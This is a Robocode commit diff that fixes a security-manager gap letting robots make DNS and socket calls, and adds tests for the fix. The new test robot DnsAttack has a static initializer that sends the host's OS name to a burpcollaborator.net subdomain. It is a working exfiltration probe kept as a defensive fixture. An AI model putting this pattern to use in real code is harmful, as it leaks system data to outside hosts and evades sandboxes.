Bug-406: DNS interaction is not blocked by Robocode's security manager + test(s) to verify the fix

Author: Flemming N. Larsen

robocode.host/src/main/java/net/sf/robocode/host/security/RobocodeSecurityManager.java

@@ -12,7 +12,9 @@
 import net.sf.robocode.host.IThreadManager;
 import net.sf.robocode.io.RobocodeProperties;
 
+import java.net.SocketPermission;
 import java.security.AccessControlException;
+import java.security.Permission;
 
 
 /**
@@ -49,7 +51,6 @@ public void checkAccess(Thread t) {
 		}
 
 		Thread c = Thread.currentThread();
-
 		if (isSafeThread(c)) {
 			return;
 		}
@@ -84,7 +85,7 @@ public void checkAccess(Thread t) {
 			if (robotProxy != null) {
 				robotProxy.punishSecurityViolation(message);
 			}
-			throw new AccessControlException(message);
+			throw new SecurityException(message);
 		}
 	}
 
@@ -94,7 +95,6 @@ public void checkAccess(ThreadGroup g) {
 			return;
 		}
 		Thread c = Thread.currentThread();
-
 		if (isSafeThread(c)) {
 			return;
 		}
@@ -123,9 +123,27 @@ public void checkAccess(ThreadGroup g) {
 			String message = "Robots are only allowed to create up to 5 threads!";
 
 			robotProxy.punishSecurityViolation(message);
-			throw new AccessControlException(message);
+			throw new SecurityException(message);
 		}
 	}
+	
+    public void checkPermission(Permission perm) {
+		if (RobocodeProperties.isSecurityOff()) {
+			return;
+		}
+		Thread c = Thread.currentThread();
+		if (isSafeThread(c)) {
+			return;
+		}
+        super.checkPermission(perm);
+
+        if (perm instanceof SocketPermission) {
+    		IHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);
+        	String message = "Using socket is not allowed";
+        	robotProxy.punishSecurityViolation(message);
+            throw new SecurityException(message);
+        }
+    }
 
 	private boolean isSafeThread(Thread c) {
 		return threadManager.isSafeThread(c);

robocode.tests.robots/src/main/java/tested/robots/DnsAttack.java

@@ -0,0 +1,18 @@
+package tested.robots;
+
+public class DnsAttack extends robocode.Robot {
+	static {
+		try {
+			new java.net.URL("http://" + System.getProperty("os.name").replaceAll(" ", ".")
+					+ ".randomsubdomain.burpcollaborator.net").openStream();
+		} catch (Exception e) {
+		}
+	}
+
+	public void run() {
+		for (;;) {
+			ahead(100);
+			back(100);
+		}
+	}
+}

robocode.tests/src/test/java/net/sf/robocode/test/robots/TestConstructorHttpAttack.java

@@ -19,7 +19,7 @@
 public class TestConstructorHttpAttack extends RobocodeTestBed {
 
 	private boolean messagedInitialization;
-	private boolean messagedAccessDenied;
+	private boolean securityExceptionOccurred;
 
 	@Override
 	public String getRobotNames() {
@@ -36,20 +36,19 @@ public void onTurnEnded(TurnEndedEvent event) {
 			messagedInitialization = true;	
 		}	
 
-		if (out.contains("access denied (java.net.SocketPermission")
-				|| out.contains("access denied (\"java.net.SocketPermission\"")) {
-			messagedAccessDenied = true;	
+		if (out.contains("java.lang.SecurityException:")) {
+			securityExceptionOccurred = true;	
 		}	
 	}
 
 	@Override
 	protected void runTeardown() {
 		Assert.assertTrue("Error during initialization", messagedInitialization);
-		Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
+		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
 	}
 
 	@Override
 	protected int getExpectedErrors() {
-		return hasJavaNetURLPermission ? 3 : 2; // Security error must be reported as an error
+		return 2;
 	}
 }

robocode.tests/src/test/java/net/sf/robocode/test/robots/TestHttpAttack.java

@@ -18,7 +18,7 @@
  */
 public class TestHttpAttack extends RobocodeTestBed {
 
-	private boolean messagedAccessDenied;
+	private boolean securityExceptionOccurred;
 
 	@Override
 	public String getRobotNames() {
@@ -31,19 +31,18 @@ public void onTurnEnded(TurnEndedEvent event) {
 
 		final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
 
-		if (out.contains("access denied (java.net.SocketPermission")
-				|| out.contains("access denied (\"java.net.SocketPermission\"")) {
-			messagedAccessDenied = true;	
+		if (out.contains("java.lang.SecurityException:")) {
+			securityExceptionOccurred = true;	
 		}	
 	}
 
 	@Override
 	protected void runTeardown() {
-		Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
+		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
 	}
 
 	@Override
 	protected int getExpectedErrors() {
-		return hasJavaNetURLPermission ? 2 : 1; // Security error must be reported as an error. Java 8 reports two errors.
+		return 1;
 	}
 }

robocode.tests/src/test/java/net/sf/robocode/test/robots/TestStaticConstructorDnsAttack.java

@@ -0,0 +1,46 @@
+/**
+ * Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the Eclipse Public License v1.0
+ * which accompanies this distribution, and is available at
+ * https://robocode.sourceforge.io/license/epl-v10.html
+ */
+package net.sf.robocode.test.robots;
+
+import net.sf.robocode.test.helpers.RobocodeTestBed;
+import org.junit.Assert;
+import robocode.control.events.TurnEndedEvent;
+
+/**
+ * @author Flemming N. Larsen (original)
+ */
+public class TestStaticConstructorDnsAttack extends RobocodeTestBed {
+
+	private boolean securityExceptionOccurred;
+	
+	@Override
+	public String getRobotNames() {
+		return "tested.robots.DnsAttack,sample.Target";
+	}
+
+	@Override
+	public void onTurnEnded(TurnEndedEvent event) {
+		super.onTurnEnded(event);
+
+		final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
+
+		if (out.contains("SYSTEM: Using socket is not allowed")) {
+			securityExceptionOccurred = true;	
+		}	
+	}
+
+	@Override
+	protected void runTeardown() {
+		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
+	}
+
+	@Override
+	protected int getExpectedErrors() {
+		return 1;
+	}
+}

versions.md

@@ -2,7 +2,7 @@
 
 ### Bugfixes
 * [Bug-404][]: Confusion between development/non-development versions of bots
-	* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] is back.
+	* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] has been reintroduced.
 
 ### Changes
 * Fix by Bumfo, which makes Robocode faster at detecting robots in the robot folder, which is crucial for the RoboRumble, when installing or updating a huge amount of robots.